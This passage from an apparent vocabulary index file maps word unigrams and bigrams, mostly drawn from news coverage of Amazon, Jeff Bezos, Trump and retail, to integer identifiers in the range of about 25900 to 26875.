\"netscape microsoft\": 25903,\n  \"amazon nyx\": 25904,\n  \"bias regarding\": 25905,\n  \"women straight\": 25906,\n  \"jughead betty\": 25907,\n  \"ajilore\": 25908,\n  \"results looking\": 25909,\n  \"launching attacks\": 25910,\n  \"ordering review\": 25911,\n  \"want total\": 25912,\n  \"yankees\": 25913,\n  \"disorganized rawat\": 25914,\n  \"lose 350\": 25915,\n  \"world leading\": 25916,\n  \"chops amazon\": 25917,\n  \"dollars left\": 25918,\n  \"drive sales\": 25919,\n  \"past words\": 25920,\n  \"jazeera cnbc\": 25921,\n  \"joint press\": 25922,\n  \"motley fool\": 25923,\n  \"wall shut\": 25924,\n  \"wage gains\": 25925,\n  \"taxes click\": 25926,\n  \"news accurately\": 25927,\n  \"slight gains\": 25928,\n  \"tests trump\": 25929,\n  \"aldous\": 25930,\n  \"national postal\": 25931,\n  \"government testing\": 25932,\n  \"spleen\": 25933,\n  \"bhp\": 25934,\n  \"kernel\": 25935,\n  \"suck says\": 25936,\n  \"socialist alexandria\": 25937,\n  \"video direct\": 25938,\n  \"0r3wioxgeh\": 25939,\n  \"taxpayers hundreds\": 25940,\n  \"ozer\": 25941,\n  \"stampede\": 25942,\n  \"commandeering\": 25943,\n  \"targeting lower\": 25944,\n  \"bon ton\": 25945,\n  \"raise traditional\": 25946,\n  \"puzder source\": 25947,\n  \"socks responds\": 25948,\n  \"colonial relationships\": 25949,\n  \"total tab\": 25950,\n  \"undocumented workers\": 25951,\n  \"house source\": 25952,\n  \"competition commission\": 25953,\n  \"askthemayor\": 25954,\n  \"commercial transactions\": 25955,\n  \"impeachment pressure\": 25956,\n  \"expensive step\": 25957,\n  \"shareholder did\": 25958,\n  \"late anthony\": 25959,\n  \"reflected disapproval\": 25960,\n  \"agencies interests\": 25961,\n  \"sent 610\": 25962,\n  \"request lacks\": 25963,\n  \"neidig\": 25964,\n  \"punitive permissions\": 25965,\n  \"based expert\": 25966,\n  \"000 retweets\": 25967,\n  \"curated editorial\": 25968,\n  \"active employees\": 25969,\n  \"sailors\": 25970,\n  \"identifiable subsidiaries\": 25971,\n  \"stefano gabbana\": 25972,\n  \"council passed\": 25973,\n  \"second nature\": 25974,\n  \"viewed\": 25975,\n  \"oreg commercial\": 25976,\n  \"domenic esposito\": 25977,\n  \"reason trump\": 25978,\n  \"amazon surged\": 25979,\n  \"trusted\": 25980,\n  \"having larger\": 25981,\n  \"decision outstanding\": 25982,\n  \"legislatures national\": 25983,\n  \"374 cnl_name\": 25984,\n  \"preferred language\": 25985,\n  \"malicious rumors\": 25986,\n  \"echo dots\": 25987,\n  \"screwing\": 25988,\n  \"quickly gentrifying\": 25989,\n  \"indirectly correlated\": 25990,\n  \"privately pushing\": 25991,\n  \"1062486469602766848 washington\": 25992,\n  \"polarized\": 25993,\n  \"company newest\": 25994,\n  \"built reputation\": 25995,\n  \"trademark infringing\": 25996,\n  \"doug hoffer\": 25997,\n  \"presidential race\": 25998,\n  \"job donald\": 25999,\n  \"best attributes\": 26000,\n  \"margin expansion\": 26001,\n  \"red pill\": 26002,\n  \"rayasam\": 26003,\n  \"political expert\": 26004,\n  \"2013 book\": 26005,\n  \"save president\": 26006,\n  \"strathwood\": 26007,\n  \"ky chan\": 26008,\n  \"highlighting\": 26009,\n  \"delivery guaranteed\": 26010,\n  \"start season\": 26011,\n  \"finely\": 26012,\n  \"stockholders painter\": 26013,\n  \"member club\": 26014,\n  \"saw pearl\": 26015,\n  \"108\": 26016,\n  \"incentivized\": 26017,\n  \"companions\": 26018,\n  \"134 active\": 26019,\n  \"long fbi\": 26020,\n  \"flasks\": 26021,\n  \"delivery vehicles\": 26022,\n  \"local walmart\": 26023,\n  \"established proud\": 26024,\n  \"salesforce pledges\": 26025,\n  \"voter turnout\": 26026,\n  \"promised amazon\": 26027,\n  \"humble\": 26028,\n  \"amazon economist\": 26029,\n  \"trump hotels\": 26030,\n  \"schwab strategic\": 26031,\n  \"states speaker\": 26032,\n  \"older americans\": 26033,\n  \"irresponsible completely\": 26034,\n  \"new ai\": 26035,\n  \"news company\": 26036,\n  \"political parties\": 26037,\n  \"jarrett live\": 26038,\n  \"shuddering\": 26039,\n  \"singer cahnemily\": 26040,\n  \"unrivaled\": 26041,\n  \"weaker product\": 26042,\n  \"capital shared\": 26043,\n  \"commensurate action\": 26044,\n  \"wantit\": 26045,\n  \"minivans\": 26046,\n  \"hands doesn\": 26047,\n  \"radical agenda\": 26048,\n  \"occasions benefit\": 26049,\n  \"future market\": 26050,\n  \"consumer goods\": 26051,\n  \"comic book\": 26052,\n  \"threatens border\": 26053,\n  \"heterosexual\": 26054,\n  \"ron goldman\": 26055,\n  \"wage tennessee\": 26056,\n  \"apec canadian\": 26057,\n  \"grudges trump\": 26058,\n  \"acquiring elemental\": 26059,\n  \"don thave\": 26060,\n  \"vaxxer narcissists\": 26061,\n  \"pen\": 26062,\n  \"glance virginia\": 26063,\n  \"getting hit\": 26064,\n  \"support prowrestling\": 26065,\n  \"swatch\": 26066,\n  \"taking bite\": 26067,\n  \"ignorant\": 26068,\n  \"helping people\": 26069,\n  \"quit trump\": 26070,\n  \"uplifting\": 26071,\n  \"local stakeholders\": 26072,\n  \"carlson book\": 26073,\n  \"scant\": 26074,\n  \"syria does\": 26075,\n  \"week declining\": 26076,\n  \"xoxo\": 26077,\n  \"dollar terminal\": 26078,\n  \"called botnets\": 26079,\n  \"cafe creator\": 26080,\n  \"parted\": 26081,\n  \"closely griffeth\": 26082,\n  \"justice pick\": 26083,\n  \"usps perennial\": 26084,\n  \"competitors critics\": 26085,\n  \"legally adopted\": 26086,\n  \"campaign announced\": 26087,\n  \"renovate\": 26088,\n  \"tournament cbs\": 26089,\n  \"reported comgest\": 26090,\n  \"heavy criticism\": 26091,\n  \"badass nurse\": 26092,\n  \"various arts\": 26093,\n  \"curtis\": 26094,\n  \"govpredict analyzed\": 26095,\n  \"pro lgbt\": 26096,\n  \"tax filings\": 26097,\n  \"cloud community\": 26098,\n  \"stickers\": 26099,\n  \"press vehemently\": 26100,\n  \"inform\": 26101,\n  \"valley technology\": 26102,\n  \"expect operating\": 26103,\n  \"realme launched\": 26104,\n  \"possible response\": 26105,\n  \"geekwire pointed\": 26106,\n  \"boundaries coupled\": 26107,\n  \"children hours\": 26108,\n  \"rigged game\": 26109,\n  \"trailblazing\": 26110,\n  \"digital director\": 26111,\n  \"needs\": 26112,\n  \"positive light\": 26113,\n  \"kinsey grant\": 26114,\n  \"challenger matt\": 26115,\n  \"tacked\": 26116,\n  \"crowley\": 26117,\n  \"dimension sources\": 26118,\n  \"wp owned\": 26119,\n  \"morning according\": 26120,\n  \"tivo corp\": 26121,\n  \"francisco woman\": 26122,\n  \"caps headline\": 26123,\n  \"deceased father\": 26124,\n  \"produce plan\": 26125,\n  \"entering crucial\": 26126,\n  \"apple boss\": 26127,\n  \"john legend\": 26128,\n  \"outflows detected\": 26129,\n  \"2009 recession\": 26130,\n  \"job motivated\": 26131,\n  \"safety tango\": 26132,\n  \"tax online\": 26133,\n  \"interviewer david\": 26134,\n  \"text descriptions\": 26135,\n  \"failing drug\": 26136,\n  \"buy\": 26137,\n  \"laura cox\": 26138,\n  \"paid family\": 26139,\n  \"peppler\": 26140,\n  \"necessarily warrant\": 26141,\n  \"stakes 105\": 26142,\n  \"company proclaims\": 26143,\n  \"books including\": 26144,\n  \"changing people\": 26145,\n  \"containercontents branding\": 26146,\n  \"trading experience\": 26147,\n  \"say html\": 26148,\n  \"2018 theoretically\": 26149,\n  \"wider audience\": 26150,\n  \"wolfe\": 26151,\n  \"inhabitant bezos\": 26152,\n  \"post noting\": 26153,\n  \"scheduled ahead\": 26154,\n  \"elsea litigator\": 26155,\n  \"198 new\": 26156,\n  \"personally know\": 26157,\n  \"make watching\": 26158,\n  \"profit combined\": 26159,\n  \"953 511\": 26160,\n  \"real news\": 26161,\n  \"gas tires\": 26162,\n  \"thinking state\": 26163,\n  \"backend\": 26164,\n  \"political sway\": 26165,\n  \"hold leadership\": 26166,\n  \"kint ceo\": 26167,\n  \"vox sign\": 26168,\n  \"speeches abimbola\": 26169,\n  \"unknown risks\": 26170,\n  \"awards later\": 26171,\n  \"problems typically\": 26172,\n  \"papa\": 26173,\n  \"changed used\": 26174,\n  \"governmental\": 26175,\n  \"established tradition\": 26176,\n  \"loophole consumers\": 26177,\n  \"ericengleman kyle\": 26178,\n  \"mutant\": 26179,\n  \"square tower\": 26180,\n  \"say hey\": 26181,\n  \"xi belt\": 26182,\n  \"diddly\": 26183,\n  \"teachers retirement\": 26184,\n  \"trump characterization\": 26185,\n  \"cumulatively\": 26186,\n  \"years columbus\": 26187,\n  \"absurd trump\": 26188,\n  \"enables customers\": 26189,\n  \"advsrs incorporated\": 26190,\n  \"heads governor\": 26191,\n  \"pcs\": 26192,\n  \"120k job\": 26193,\n  \"huge fortunes\": 26194,\n  \"far devil\": 26195,\n  \"strength\": 26196,\n  \"bernie sanders\": 26197,\n  \"congress reacts\": 26198,\n  \"weather oscars\": 26199,\n  \"gotten lost\": 26200,\n  \"camera lot\": 26201,\n  \"collusion collusion\": 26202,\n  \"chinese\": 26203,\n  \"man just\": 26204,\n  \"representatives pushed\": 26205,\n  \"futures lost\": 26206,\n  \"turbulent year\": 26207,\n  \"claiming tax\": 26208,\n  \"close asi\": 26209,\n  \"schiff calif\": 26210,\n  \"explicitly\": 26211,\n  \"literary genesis\": 26212,\n  \"experience contract\": 26213,\n  \"rile\": 26214,\n  \"trump ain\": 26215,\n  \"british virgin\": 26216,\n  \"laughs sample\": 26217,\n  \"946\": 26218,\n  \"business association\": 26219,\n  \"whim\": 26220,\n  \"polarized america\": 26221,\n  \"footage looks\": 26222,\n  \"twitter turn\": 26223,\n  \"return rental\": 26224,\n  \"drank\": 26225,\n  \"suburbs including\": 26226,\n  \"jpg bricks\": 26227,\n  \"big supreme\": 26228,\n  \"trump views\": 26229,\n  \"says expectations\": 26230,\n  \"glance vatican\": 26231,\n  \"mistress 200\": 26232,\n  \"fluctuated\": 26233,\n  \"print amazon\": 26234,\n  \"vengeance\": 26235,\n  \"people typically\": 26236,\n  \"going tohappen\": 26237,\n  \"ccoo\": 26238,\n  \"respected worker\": 26239,\n  \"2008 defense\": 26240,\n  \"identified ms\": 26241,\n  \"palladium prns\": 26242,\n  \"altogether\": 26243,\n  \"campaign appears\": 26244,\n  \"memory bob\": 26245,\n  \"unconfirmed sources\": 26246,\n  \"youth led\": 26247,\n  \"bc dc\": 26248,\n  \"arabia ami\": 26249,\n  \"chimed\": 26250,\n  \"kelly denied\": 26251,\n  \"island metropolis\": 26252,\n  \"white bret\": 26253,\n  \"dinner held\": 26254,\n  \"reuters john\": 26255,\n  \"chicago tribune\": 26256,\n  \"sucharita kodali\": 26257,\n  \"shane bauer\": 26258,\n  \"shipping giant\": 26259,\n  \"browder\": 26260,\n  \"moving team\": 26261,\n  \"matches people\": 26262,\n  \"roastery\": 26263,\n  \"brand sale\": 26264,\n  \"tonight amobi\": 26265,\n  \"superior data\": 26266,\n  \"vest emblazoned\": 26267,\n  \"experimentative\": 26268,\n  \"trump stormy\": 26269,\n  \"campaigned\": 26270,\n  \"layers\": 26271,\n  \"trump halfhearted\": 26272,\n  \"1200et copyright\": 26273,\n  \"criminalize dissent\": 26274,\n  \"isn present\": 26275,\n  \"best worst\": 26276,\n  \"messed\": 26277,\n  \"critical partner\": 26278,\n  \"cp\": 26279,\n  \"travel quiz\": 26280,\n  \"shelves despite\": 26281,\n  \"lindy west\": 26282,\n  \"senate 2018\": 26283,\n  \"toilet seat\": 26284,\n  \"senior tech\": 26285,\n  \"bezos publication\": 26286,\n  \"change going\": 26287,\n  \"purported immigrant\": 26288,\n  \"law zinke\": 26289,\n  \"satellite images\": 26290,\n  \"disagree\": 26291,\n  \"carta jamal\": 26292,\n  \"live celtic\": 26293,\n  \"layered\": 26294,\n  \"immediately undo\": 26295,\n  \"propagandists tried\": 26296,\n  \"collect report\": 26297,\n  \"tom fitton\": 26298,\n  \"acquisition hired\": 26299,\n  \"biographer\": 26300,\n  \"thought bubble\": 26301,\n  \"secure locks\": 26302,\n  \"surveillance valley\": 26303,\n  \"pierce county\": 26304,\n  \"fresh lows\": 26305,\n  \"advances barr\": 26306,\n  \"throttle amazon\": 26307,\n  \"churn higher\": 26308,\n  \"topples\": 26309,\n  \"god heart\": 26310,\n  \"allows class\": 26311,\n  \"story continues\": 26312,\n  \"handheld scanners\": 26313,\n  \"easy question\": 26314,\n  \"mindsets\": 26315,\n  \"unsold merchandise\": 26316,\n  \"showing promise\": 26317,\n  \"experimental alzheimer\": 26318,\n  \"examining possible\": 26319,\n  \"madeira basin\": 26320,\n  \"administration hired\": 26321,\n  \"calls national\": 26322,\n  \"article ricky\": 26323,\n  \"nextstep\": 26324,\n  \"activists hailing\": 26325,\n  \"zuckerberg spoke\": 26326,\n  \"begin tower\": 26327,\n  \"service 2019\": 26328,\n  \"week seeking\": 26329,\n  \"secretive\": 26330,\n  \"hudson valley\": 26331,\n  \"dynamite talking\": 26332,\n  \"firms grew\": 26333,\n  \"current toll\": 26334,\n  \"company funds\": 26335,\n  \"reckless\": 26336,\n  \"candidacy unlikely\": 26337,\n  \"workers comprise\": 26338,\n  \"students complaints\": 26339,\n  \"canelo alvarez\": 26340,\n  \"tool\": 26341,\n  \"amazon probably\": 26342,\n  \"dozens temporary\": 26343,\n  \"nordegren 100\": 26344,\n  \"best selling\": 26345,\n  \"tailgate\": 26346,\n  \"actions look\": 26347,\n  \"arrested caretaker\": 26348,\n  \"texts reportedly\": 26349,\n  \"latest spy\": 26350,\n  \"beast sanchez\": 26351,\n  \"old wisdom\": 26352,\n  \"starter\": 26353,\n  \"selling toy\": 26354,\n  \"ice raising\": 26355,\n  \"umbrella\": 26356,\n  \"directives giving\": 26357,\n  \"skid set\": 26358,\n  \"quiet accuser\": 26359,\n  \"strength eat\": 26360,\n  \"mogul personal\": 26361,\n  \"latest controversy\": 26362,\n  \"monologue new\": 26363,\n  \"represented\": 26364,\n  \"misconduct apology\": 26365,\n  \"news point\": 26366,\n  \"cities started\": 26367,\n  \"model year\": 26368,\n  \"beria\": 26369,\n  \"inquired students\": 26370,\n  \"overwhelmingly started\": 26371,\n  \"investor optimism\": 26372,\n  \"tell reporters\": 26373,\n  \"zeroes jeff\": 26374,\n  \"breath literally\": 26375,\n  \"incident seth\": 26376,\n  \"pencil\": 26377,\n  \"personal texts\": 26378,\n  \"sec sends\": 26379,\n  \"donor meeting\": 26380,\n  \"league college\": 26381,\n  \"maybe bezos\": 26382,\n  \"minnesota democrat\": 26383,\n  \"sagers\": 26384,\n  \"analyst rob\": 26385,\n  \"sandwiches drinks\": 26386,\n  \"fmcsa\": 26387,\n  \"masquerade\": 26388,\n  \"cnbc offers\": 26389,\n  \"site president\": 26390,\n  \"identical division\": 26391,\n  \"bellone wants\": 26392,\n  \"yemen\": 26393,\n  \"687\": 26394,\n  \"brazil economy\": 26395,\n  \"building publix\": 26396,\n  \"advantage customers\": 26397,\n  \"dear evan\": 26398,\n  \"tin foil\": 26399,\n  \"associate david\": 26400,\n  \"divorcing ending\": 26401,\n  \"intimidate politicians\": 26402,\n  \"pdf include\": 26403,\n  \"enter\": 26404,\n  \"lakewoodpd\": 26405,\n  \"somber\": 26406,\n  \"amazon legal\": 26407,\n  \"noughts\": 26408,\n  \"rising slowly\": 26409,\n  \"dr tal\": 26410,\n  \"features language\": 26411,\n  \"potential warning\": 26412,\n  \"new kind\": 26413,\n  \"amazon boeing\": 26414,\n  \"hallow eve\": 26415,\n  \"launch pair\": 26416,\n  \"garden 75m\": 26417,\n  \"lobbyist tells\": 26418,\n  \"sanchez showed\": 26419,\n  \"tornadoes\": 26420,\n  \"laura stevens\": 26421,\n  \"prizes\": 26422,\n  \"separate companies\": 26423,\n  \"ongoing rancor\": 26424,\n  \"checked stories\": 26425,\n  \"day live\": 26426,\n  \"vudu happy\": 26427,\n  \"insider request\": 26428,\n  \"goods beijing\": 26429,\n  \"week long\": 26430,\n  \"annoying\": 26431,\n  \"102\": 26432,\n  \"parties govpredict\": 26433,\n  \"little stations\": 26434,\n  \"new flavors\": 26435,\n  \"safeguard small\": 26436,\n  \"sags\": 26437,\n  \"friend weather\": 26438,\n  \"33m shares\": 26439,\n  \"programs supported\": 26440,\n  \"traitors channel\": 26441,\n  \"typical strategy\": 26442,\n  \"providing mere\": 26443,\n  \"cite\": 26444,\n  \"bills according\": 26445,\n  \"computing operations\": 26446,\n  \"lose track\": 26447,\n  \"competitive\": 26448,\n  \"checkpoints\": 26449,\n  \"containing human\": 26450,\n  \"marital relationship\": 26451,\n  \"skill building\": 26452,\n  \"software projects\": 26453,\n  \"evapotranspiration\": 26454,\n  \"jgreen16\": 26455,\n  \"formal statement\": 26456,\n  \"achieves kind\": 26457,\n  \"era photo\": 26458,\n  \"header\": 26459,\n  \"iowa voters\": 26460,\n  \"aggressively raise\": 26461,\n  \"firm says\": 26462,\n  \"denies claims\": 26463,\n  \"spectrum auction\": 26464,\n  \"implores viewers\": 26465,\n  \"security cabinet\": 26466,\n  \"good solid\": 26467,\n  \"lcso\": 26468,\n  \"someday amazon\": 26469,\n  \"agroclimatic\": 26470,\n  \"months stephen\": 26471,\n  \"campus col\": 26472,\n  \"soccer coach\": 26473,\n  \"american alicia\": 26474,\n  \"amazon proactively\": 26475,\n  \"daily hive\": 26476,\n  \"personally involved\": 26477,\n  \"talk brent\": 26478,\n  \"sale bezos\": 26479,\n  \"atob\": 26480,\n  \"strong report\": 26481,\n  \"correll washington\": 26482,\n  \"right julie\": 26483,\n  \"holiday gift\": 26484,\n  \"demographic\": 26485,\n  \"57m\": 26486,\n  \"combos\": 26487,\n  \"controlled bezos\": 26488,\n  \"caravan service\": 26489,\n  \"network activity\": 26490,\n  \"dino\": 26491,\n  \"alongside\": 26492,\n  \"underscored\": 26493,\n  \"amazon old\": 26494,\n  \"cert\": 26495,\n  \"new initiatives\": 26496,\n  \"trump winning\": 26497,\n  \"trump pressuring\": 26498,\n  \"cohn brennan\": 26499,\n  \"new monopoly\": 26500,\n  \"spoken publicly\": 26501,\n  \"surveyed compared\": 26502,\n  \"bulls bears\": 26503,\n  \"compete right\": 26504,\n  \"explicit lessons\": 26505,\n  \"bit better\": 26506,\n  \"bezos going\": 26507,\n  \"rates driving\": 26508,\n  \"raising\": 26509,\n  \"material profits\": 26510,\n  \"neale\": 26511,\n  \"laser\": 26512,\n  \"vehicles read\": 26513,\n  \"sufficiently\": 26514,\n  \"dominate wide\": 26515,\n  \"raised regarding\": 26516,\n  \"gmos whatsoever\": 26517,\n  \"utilities democratically\": 26518,\n  \"massed\": 26519,\n  \"taser dad\": 26520,\n  \"noble bob\": 26521,\n  \"buy point\": 26522,\n  \"locka florida\": 26523,\n  \"journalists featured\": 26524,\n  \"ears otyf\": 26525,\n  \"expensing nb\": 26526,\n  \"europe opened\": 26527,\n  \"york man\": 26528,\n  \"minute ago\": 26529,\n  \"labor practice\": 26530,\n  \"election messaging\": 26531,\n  \"addressing trump\": 26532,\n  \"bundle wires\": 26533,\n  \"action suit\": 26534,\n  \"sporting goods\": 26535,\n  \"owner wipes\": 26536,\n  \"conqueror\": 26537,\n  \"peter sarsgaard\": 26538,\n  \"potential acquirers\": 26539,\n  \"company ended\": 26540,\n  \"takes direct\": 26541,\n  \"favorite ubhi\": 26542,\n  \"despite complaints\": 26543,\n  \"operator good\": 26544,\n  \"photo afp\": 26545,\n  \"wet fronts\": 26546,\n  \"bezos baby\": 26547,\n  \"complied\": 26548,\n  \"vass\": 26549,\n  \"2019 china\": 26550,\n  \"experienced record\": 26551,\n  \"just sliver\": 26552,\n  \"politico trump\": 26553,\n  \"covington catholic\": 26554,\n  \"state public\": 26555,\n  \"mucci\": 26556,\n  \"inadvertently picks\": 26557,\n  \"receiving data\": 26558,\n  \"inner demons\": 26559,\n  \"moon vice\": 26560,\n  \"dastardly threats\": 26561,\n  \"actual hike\": 26562,\n  \"numerous trump\": 26563,\n  \"measure lately\": 26564,\n  \"bezos briefly\": 26565,\n  \"nether region\": 26566,\n  \"kingdom responsibility\": 26567,\n  \"synagogue published\": 26568,\n  \"told associated\": 26569,\n  \"old offers\": 26570,\n  \"yelp yelp\": 26571,\n  \"brazil shutterstock\": 26572,\n  \"store wants\": 26573,\n  \"angeles philharmonic\": 26574,\n  \"burroughs grad\": 26575,\n  \"tweets 2018\": 26576,\n  \"outpace supply\": 26577,\n  \"schwan food\": 26578,\n  \"offset dropping\": 26579,\n  \"patents added\": 26580,\n  \"seattletimes\": 26581,\n  \"blue smile\": 26582,\n  \"topics sarah\": 26583,\n  \"scrutiny bezos\": 26584,\n  \"women including\": 26585,\n  \"send harmful\": 26586,\n  \"ways easley\": 26587,\n  \"tony abboud\": 26588,\n  \"operations center\": 26589,\n  \"eckhart amanda\": 26590,\n  \"just doing\": 26591,\n  \"gop brand\": 26592,\n  \"plus year\": 26593,\n  \"rebel wilson\": 26594,\n  \"cyber intrusions\": 26595,\n  \"architect videocmsurl\": 26596,\n  \"make monthly\": 26597,\n  \"plans beforethis\": 26598,\n  \"dial\": 26599,\n  \"reshaping\": 26600,\n  \"gill\": 26601,\n  \"spinoffs\": 26602,\n  \"dana blankenhorn\": 26603,\n  \"southern district\": 26604,\n  \"really viral\": 26605,\n  \"biggest brands\": 26606,\n  \"stock specifically\": 26607,\n  \"executives received\": 26608,\n  \"photos scott\": 26609,\n  \"kelly tyko\": 26610,\n  \"amazon 2659\": 26611,\n  \"origin closer\": 26612,\n  \"certainly true\": 26613,\n  \"amazon kerfuffle\": 26614,\n  \"initiate\": 26615,\n  \"tackling high\": 26616,\n  \"moderating force\": 26617,\n  \"dark\": 26618,\n  \"criticized don\": 26619,\n  \"railroad industry\": 26620,\n  \"summons\": 26621,\n  \"prevent publication\": 26622,\n  \"usatoda usnews\": 26623,\n  \"tsunami severe\": 26624,\n  \"advertising copy\": 26625,\n  \"egalitarian\": 26626,\n  \"writers researchers\": 26627,\n  \"liberal leaning\": 26628,\n  \"collects car\": 26629,\n  \"reported details\": 26630,\n  \"monney bosch\": 26631,\n  \"started major\": 26632,\n  \"venture partnerships\": 26633,\n  \"fair diaries\": 26634,\n  \"saw new\": 26635,\n  \"transparency amazon\": 26636,\n  \"season daniel\": 26637,\n  \"lost statewide\": 26638,\n  \"bulling\": 26639,\n  \"air film\": 26640,\n  \"affluent hometown\": 26641,\n  \"haute looking\": 26642,\n  \"platform businesses\": 26643,\n  \"hiring illegal\": 26644,\n  \"private sector\": 26645,\n  \"empathy training\": 26646,\n  \"company proposed\": 26647,\n  \"drivers file\": 26648,\n  \"\\u01429\": 26649,\n  \"lapd\": 26650,\n  \"neo lords\": 26651,\n  \"wrote 1000\": 26652,\n  \"paper newspapers\": 26653,\n  \"massive technology\": 26654,\n  \"free markets\": 26655,\n  \"ohio legislature\": 26656,\n  \"alle\": 26657,\n  \"created pressure\": 26658,\n  \"release charts\": 26659,\n  \"documents south\": 26660,\n  \"footnotes\": 26661,\n  \"graduates immigration\": 26662,\n  \"negative eps\": 26663,\n  \"information donald\": 26664,\n  \"soaringly\": 26665,\n  \"doesn care\": 26666,\n  \"competitive service\": 26667,\n  \"makeshift campground\": 26668,\n  \"watching merging\": 26669,\n  \"national emergencies\": 26670,\n  \"submit schedule\": 26671,\n  \"holiday vitriol\": 26672,\n  \"amazon process\": 26673,\n  \"2018q4 valued\": 26674,\n  \"grading\": 26675,\n  \"released eve\": 26676,\n  \"trees\": 26677,\n  \"1745\": 26678,\n  \"i0 s9x\": 26679,\n  \"upi president\": 26680,\n  \"sachs cfo\": 26681,\n  \"potentially reach\": 26682,\n  \"cnbc additionally\": 26683,\n  \"cummings\": 26684,\n  \"stars amazon\": 26685,\n  \"hetmyer\": 26686,\n  \"dynamic mixed\": 26687,\n  \"author bob\": 26688,\n  \"grocery\": 26689,\n  \"chris wray\": 26690,\n  \"philanthropic push\": 26691,\n  \"leader trent\": 26692,\n  \"pioneers\": 26693,\n  \"disaster president\": 26694,\n  \"bigger logistics\": 26695,\n  \"indoors jacinda\": 26696,\n  \"2020 broward\": 26697,\n  \"particularly appeal\": 26698,\n  \"repeatedly complained\": 26699,\n  \"surface best\": 26700,\n  \"trump think\": 26701,\n  \"billionaire steve\": 26702,\n  \"religious beliefs\": 26703,\n  \"uber funder\": 26704,\n  \"strategist started\": 26705,\n  \"cash offers\": 26706,\n  \"politicususa politicususa\": 26707,\n  \"paper written\": 26708,\n  \"sales promotion\": 26709,\n  \"misinformation\": 26710,\n  \"bones discount\": 26711,\n  \"blame michael\": 26712,\n  \"yarish netflix\": 26713,\n  \"red square\": 26714,\n  \"partake\": 26715,\n  \"taken page\": 26716,\n  \"global plant\": 26717,\n  \"constitutes political\": 26718,\n  \"elmjouie\": 26719,\n  \"banking meltdowns\": 26720,\n  \"godwink\": 26721,\n  \"350 ethnic\": 26722,\n  \"approved entrepreneurs\": 26723,\n  \"indigenous\": 26724,\n  \"striped\": 26725,\n  \"soldiers hometowns\": 26726,\n  \"despises cnn\": 26727,\n  \"article37723967 focuses\": 26728,\n  \"stamps jumped\": 26729,\n  \"congress gallingly\": 26730,\n  \"eal\": 26731,\n  \"gulftimes yoshida\": 26732,\n  \"hordes\": 26733,\n  \"burger chains\": 26734,\n  \"finance ma\": 26735,\n  \"a4 return\": 26736,\n  \"violence labor\": 26737,\n  \"resurrector\": 26738,\n  \"image bezos\": 26739,\n  \"kohring st\": 26740,\n  \"trust xom\": 26741,\n  \"blackout venezuela\": 26742,\n  \"howard comments\": 26743,\n  \"brian chappatta\": 26744,\n  \"powells speech\": 26745,\n  \"fund raiser\": 26746,\n  \"oracle senior\": 26747,\n  \"youtube face\": 26748,\n  \"intensely horrifying\": 26749,\n  \"pells sent\": 26750,\n  \"fixer upper\": 26751,\n  \"postal delivery\": 26752,\n  \"prohibitions\": 26753,\n  \"putin demands\": 26754,\n  \"operating chief\": 26755,\n  \"1979 pagels\": 26756,\n  \"stood second\": 26757,\n  \"juno awards\": 26758,\n  \"zone program\": 26759,\n  \"riveted\": 26760,\n  \"trump refugee\": 26761,\n  \"company solidifying\": 26762,\n  \"called rekognition\": 26763,\n  \"rebuke bezos\": 26764,\n  \"inauguration ceremony\": 26765,\n  \"midsummer holiday\": 26766,\n  \"vein amazon\": 26767,\n  \"venezuela opposition\": 26768,\n  \"cnn correspondent\": 26769,\n  \"ecommerce behemoth\": 26770,\n  \"course president\": 26771,\n  \"security china\": 26772,\n  \"commonly counterfeited\": 26773,\n  \"host george\": 26774,\n  \"morrow pasta\": 26775,\n  \"000 brooklyn\": 26776,\n  \"sales process\": 26777,\n  \"residency\": 26778,\n  \"publicized competition\": 26779,\n  \"522 million\": 26780,\n  \"disliked\": 26781,\n  \"greatest makers\": 26782,\n  \"866 853\": 26783,\n  \"gone girl\": 26784,\n  \"fucked\": 26785,\n  \"sponsored products\": 26786,\n  \"mounting crises\": 26787,\n  \"america newsroom\": 26788,\n  \"detailing\": 26789,\n  \"defiantly bald\": 26790,\n  \"publishing firm\": 26791,\n  \"retail market\": 26792,\n  \"medical journalist\": 26793,\n  \"unglamorous products\": 26794,\n  \"etf\": 26795,\n  \"tribe\": 26796,\n  \"mahindra spearheading\": 26797,\n  \"dbx\": 26798,\n  \"parenting\": 26799,\n  \"stop behaving\": 26800,\n  \"presidents senior\": 26801,\n  \"ontario blue\": 26802,\n  \"reputed\": 26803,\n  \"internal policies\": 26804,\n  \"walmart showed\": 26805,\n  \"local cbs\": 26806,\n  \"wealth gaps\": 26807,\n  \"million brits\": 26808,\n  \"showing\": 26809,\n  \"sizeable industry\": 26810,\n  \"driver involved\": 26811,\n  \"duston\": 26812,\n  \"excelsior scholarship\": 26813,\n  \"reportedly going\": 26814,\n  \"russian bot\": 26815,\n  \"parhizkaran\": 26816,\n  \"story describes\": 26817,\n  \"pager\": 26818,\n  \"plus bezos\": 26819,\n  \"commercialappeal\": 26820,\n  \"122 million\": 26821,\n  \"actually stores\": 26822,\n  \"reason oil\": 26823,\n  \"care reconciliation\": 26824,\n  \"psychic\": 26825,\n  \"eventually wrote\": 26826,\n  \"scandal struck\": 26827,\n  \"competition commissioner\": 26828,\n  \"work doesn\": 26829,\n  \"contacting sellers\": 26830,\n  \"h9x function\": 26831,\n  \"requires websites\": 26832,\n  \"package destined\": 26833,\n  \"795\": 26834,\n  \"jenn boden\": 26835,\n  \"137 respectively\": 26836,\n  \"george keely\": 26837,\n  \"fall amazon\": 26838,\n  \"vodka trump\": 26839,\n  \"wobble\": 26840,\n  \"bizarrely sears\": 26841,\n  \"showtime synopsis\": 26842,\n  \"shadow techn\": 26843,\n  \"motivated becker\": 26844,\n  \"mark 100\": 26845,\n  \"fascinating understandable\": 26846,\n  \"lasted year\": 26847,\n  \"strong defenses\": 26848,\n  \"doctored news\": 26849,\n  \"caa rachel\": 26850,\n  \"schumer wields\": 26851,\n  \"york police\": 26852,\n  \"today newsletter\": 26853,\n  \"sufficient numbers\": 26854,\n  \"detailed examination\": 26855,\n  \"2019 plan\": 26856,\n  \"comprehensive benefit\": 26857,\n  \"francis pope\": 26858,\n  \"slow torture\": 26859,\n  \"tremendous ambassadors\": 26860,\n  \"collective bargaining\": 26861,\n  \"fool owns\": 26862,\n  \"1940x900 getty_173218731_200015422000928060_388160\": 26863,\n  \"beneficial offers\": 26864,\n  \"compete read\": 26865,\n  \"management staff\": 26866,\n  \"borrowed\": 26867,\n  \"medical practice\": 26868,\n  \"sage\": 26869,\n  \"post mike\": 26870,\n  \"super nice\": 26871,\n  \"looked magnanimous\": 26872,\n  \"physical barriers\": 26873,\n  \"24th potus\": 26874,\n  \"misses fewer\": 26875,\n  \"cancellation 